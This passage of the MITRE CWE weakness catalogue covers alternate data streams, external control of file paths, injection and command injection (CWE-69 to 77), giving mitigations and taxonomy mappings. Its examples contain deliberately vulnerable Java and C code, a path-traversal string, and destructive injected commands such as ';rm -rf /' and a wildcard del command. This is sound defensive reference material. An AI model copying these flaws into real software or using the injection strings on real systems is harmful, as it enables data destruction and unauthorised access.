MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908

Nature	Type	ID	Name	V	Page
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows MS-DOS device names
CERT C Secure Coding	FIO32-C	CWE More Specific	Do not perform operations on devices that are only appropriate for files
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP16		Path Traversal

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

Weakness ID : 69 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	118

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Non-Repudiation	Hide Activities	
Other	Other	

Potential Mitigations

Phase: Testing

Software tools are capable of finding ADSs on your system.

Phase: Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

Observed Examples

Reference	Description
CVE-1999-0278	In IIS, remote attackers can obtain source code for ASP files by appending "::$DATA" to the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0278*
CVE-2000-0927	Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0927*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Notes

Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows ::DATA alternate data stream

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
168	Windows ::DATA Alternate Data Stream

References

[REF-562]Don Parker. "Windows NTFS Alternate Data Streams". 2005 February 6. < http://www.securityfocus.com/infocus/1822 >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID : 72 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	118

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : macOS *(Prevalence = Undetermined)*

Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Demonstrative Examples

Example 1:

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

Observed Examples

Reference	Description
CVE-2004-1084	Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1084*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

Research Gap

Under-studied

References

[REF-578]NetSec. "NetSec Security Advisory: Multiple Vulnerabilities Resulting From Use Of Apple OSX HFS+". BugTraq. 2005 February 6. < http://seclists.org/bugtraq/2005/Feb/309 >.

CWE-73: External Control of File Name or Path

Weakness ID : 73 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213
ChildOf	C	642	External Control of Critical State Data	1257
ParentOf	C	114	Process Control	256
CanPrecede	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
CanPrecede	B	41	Improper Resolution of Path Equivalence	81
CanPrecede	B	59	Improper Link Resolution Before File Access ('Link Following')	106
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	935

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Unix *(Prevalence = Often)*

Operating_System : Windows *(Prevalence = Often)*

Operating_System : macOS *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Read Files or Directories Modify Files or Directories *The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.*	
Integrity Confidentiality Availability	Modify Files or Directories Execute Unauthorized Code or Commands *The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.*	
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) *The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.*	

Detection Methods

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Potential Mitigations

Phase: Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Phase: Architecture and Design

Phase: Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Phase: Installation

Phase: Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Phase: Operation

Phase: Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Example Language: Java *(bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java *(bad)*

```
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
```

Observed Examples

Reference	Description
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5748*
CVE-2008-5764	Chain: external control of user's target language enables remote file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5764*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Relationship

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc. However, those weaknesses do not always require external control. For

example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Path Manipulation
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
72	URL Encoding
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
267	Leverage Alternate Encoding

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Weakness ID : 74 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Extended Description

Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one

thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
ParentOf	C	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	134
ParentOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	136
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
ParentOf	B	91	XML Injection (aka Blind XPath Injection)	200
ParentOf	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	202
ParentOf	B	94	Improper Control of Generation of Code ('Code Injection')	204
ParentOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224
ParentOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	1624
ParentOf	B	1236	Improper Neutralization of Formula Elements in a CSV File	1756
CanFollow	C	20	Improper Input Validation	19
CanFollow	C	116	Improper Encoding or Escaping of Output	260

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	141
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
ParentOf	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	181
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
ParentOf	B	91	XML Injection (aka Blind XPath Injection)	200
ParentOf	B	94	Improper Control of Generation of Code ('Code Injection')	204

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.*	
Access Control	Bypass Protection Mechanism *In some cases, injectable code controls authentication; this may lead to a remote vulnerability.*	
Other	Alter Execution Logic *Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.*	
Integrity Other	Other *Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.*	
Non-Repudiation	Hide Activities *Often the actions performed by injected control code are unlogged.*	

Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Theoretical

Many people treat injection only as an input validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. However, input validation is only one potential protection

mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Injection problem ('data' used as something else)
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
28	Fuzzing
34	HTTP Response Splitting
42	MIME Conversion
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
51	Poison Web Service Registry
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
66	SQL Injection
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
83	XPath Injection
84	XQuery Injection
101	Server Side Include (SSI) Injection
108	Command Line Execution through SQL Injection
120	Double Encoding
135	Format String Injection
250	XML Injection
267	Leverage Alternate Encoding
273	HTTP Response Smuggling

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Weakness ID : 75 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not adequately filter user-controlled input for special elements with control implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	B	76	Improper Neutralization of Equivalent Special Elements	135

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter special element syntax from all input.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Special Element Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Logs Tampering
93	Log Injection-Tampering-Forging

CWE-76: Improper Neutralization of Equivalent Special Elements

Weakness ID : 76 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

Extended Description

The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	134

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter equivalent special element syntax from all input.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Equivalent Special Element Injection

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID : 77 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Command injection is a common problem with wrapper programs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	141
ParentOf	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	181
ParentOf	B	624	Executable Regular Expression Error	1236
ParentOf	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1598

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.*	

Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Implementation

If possible, ensure that all external commands called from the program are statically created.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Phase: System Configuration

Assign permissions to the software system that prevents the user from accessing/opening privileged files.

Demonstrative Examples

Example 1:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

Example Language: C *(bad)*

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java *(bad)*

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat "
    +btype+
    "&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms*.*", then the application will execute this command along with the others specified by the program. Because

of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3:

